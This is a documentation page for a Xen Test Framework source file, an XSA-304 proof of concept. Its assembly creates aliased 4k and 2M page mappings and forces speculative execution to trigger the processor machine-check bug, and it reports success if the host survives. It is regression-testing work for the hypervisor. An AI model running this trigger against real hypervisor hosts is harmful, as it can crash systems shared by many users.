Xen Test Framework
main.c
Go to the documentation of this file.
1 
21 #include <xtf.h>
22 
23 const char test_title[] = "XSA-304 PoC";
24 
25 typedef void (stub_t)(intpte_t *l2t, const bool *cond);
26 extern stub_t stub_fn;
27 
28 asm (".align 4096;"
29  ".skip 4096 - (stub_page_boundary - stub_fn);"
30 
31  "stub_fn:"
32 
33  /*
34  * Overwrite the mapping for 16M linear (currently aliased to 0) as a 2M
35  * identity page. The underlying contents are the same because we
36  * duplicated .text here to start with.
37  */
38  " movq $" STR((16 << 20) | PF_SYM(PSE, AD, RW, P)) ", 8*8(%rdi);"
39 
40  /*
41  * Shoot down the 4k mapping (in the high alias) of the *next* page,
42  * leaving the 4k mapping of this page intact.
43  */
44  " invlpg stub_page_boundary + (16 << 20);"
45 
46  /*
47  * %rsi points at `bool cond = true` on the stack, so this jump won't
48  * actually be taken, but we want speculation to follow it.
49  *
50  * Work around https://github.com/llvm/llvm-project/issues/68086
51  * Clang IAS can't cope with `je 1f` so opencode it.
52  */
53  " cmpb $0, (%rsi);"
54  " .byte 0x74, 1f - (. + 1);" // je 1f
55 
56  /*
57  * Write into the top of linear address space. Because no A/D bits are
58  * set in the PTEs, this suffers 5 assists, and because the PTEs were
59  * flushed from the cache, it takes ages while doing so.
60  */
61  " movb $0, -1;"
62  "stub_page_boundary:"
63 
64  /*
65  * When speculation races ahead to here, there is no mapping because we
66  * shot it out earlier. A pagewalk occurs, and finds the 2M superpage
67  * which we installed.
68  *
69  * As a consequence of installing the 2M mapping, the previous
70  * instruction (which is busy setting A/D bits) has a linear address with
71  * one valid 4k mapping pointing into the real .text location, and one
72  * valid 2M mapping pointing at the aliased .text location.
73  *
74  * ... and the pipeline is busy asserting sanity on tracking state of the
75  * uops each time they come around for another assist...
76  */
77  "1: ret;"
78  );
79 
80 /* New pagetables */
84 
85 void test_main(void)
86 {
87  unsigned long stride = ROUNDUP(_end - _start, MB(16));
88  bool cond = true;
89 
90  if ( stride != MB(16) )
91  return xtf_error("Unexpected stride %lu,%#lx\n", stride, stride);
92 
93  /* Create an alias of .text at stride's distance away. */
94  memcpy(_p(_start) + stride, _start, _end - _start);
95  barrier();
96 
97  stub_t *stub = _p(_u(stub_fn) + stride);
98 
99  /*
100  * This test is racy with a vCPU reschedule, interrupts etc. Retry a
101  * couple of times just in case.
102  */
103  for ( int i = 0; i < 15; ++i )
104  {
105  printk("Try: %u\n", i);
106 
107  /*
108  * Map GFN 0 at the top of linear address space, with no A/D bits, and
109  * flushing each PTE from the cache.
110  */
111  pae_l4_identmap[511] = pte_from_virt(nl3t, PF_SYM(RW, P));
112  clflush(&pae_l4_identmap[511]);
113 
114  nl3t[511] = pte_from_virt(nl2t, PF_SYM(RW, P));
115  clflush(&nl3t[511]);
116 
117  nl2t[511] = pte_from_virt(nl1t, PF_SYM(RW, P));
118  clflush(&nl2t[511]);
119 
120  nl1t[511] = pte_from_gfn(0, PF_SYM(RW, P));
121  clflush(&nl1t[511]);
122 
123  /* Alias 16M linear to 0, using 0's 4k mappings. */
124  l2_identmap[8] = l2_identmap[0];
125 
126  flush_tlb();
127 
128  stub(l2_identmap, &cond);
129  }
130 
131  xtf_success("Success: Probably not vulnerable to XSA-304\n");
132 }
133 
134 /*
135  * Local variables:
136  * mode: C
137  * c-file-style: "BSD"
138  * c-basic-offset: 4
139  * tab-width: 4
140  * indent-tabs-mode: nil
141  * End:
142  */
stub_t stub_fn
Definition: main.c:189
static void clflush(const void *ptr)
Definition: lib.h:402
#define __page_aligned_bss
Definition: compiler.h:37
intpte_t pte_from_virt(const void *va, uint64_t flags)
#define barrier()
Definition: compiler.h:30
#define _u(v)
Express an arbitrary value v as unsigned long.
Definition: numbers.h:53
void printk(const char *fmt,...)
Definition: console.c:134
#define STR(x)
Stringise an expression, expanding preprocessor tokens.
Definition: macro_magic.h:17
static void flush_tlb(void)
Definition: lib.h:407
char _end[]
intpte_t pte_from_gfn(unsigned long gfn, uint64_t flags)
#define MB(num)
Express num in Megabytes.
Definition: numbers.h:26
#define PF_SYM(...)
Create pagetable entry flags based on mnemonics.
static intpte_t nl3t[512]
Definition: main.c:81
intpte_t l2t[512]
#define ROUNDUP(x, a)
Definition: lib.h:44
void xtf_success(const char *fmt,...)
Report test success.
Definition: report.c:38
static intpte_t nl1t[512]
Definition: main.c:83
void() stub_t(intpte_t *l2t, const bool *cond)
Definition: main.c:25
#define memcpy(d, s, n)
Definition: libc.h:36
void test_main(void)
To be implemented by each test, as its entry point.
Definition: main.c:137
unsigned long intpte_t
Definition: page.h:152
const char test_title[]
The title of the test.
Definition: main.c:14
#define _p(v)
Express an abitrary integer v as void *.
Definition: numbers.h:48
void xtf_error(const char *fmt,...)
Report a test error.
Definition: report.c:80
static intpte_t nl2t[512]
Definition: main.c:82
char _start[]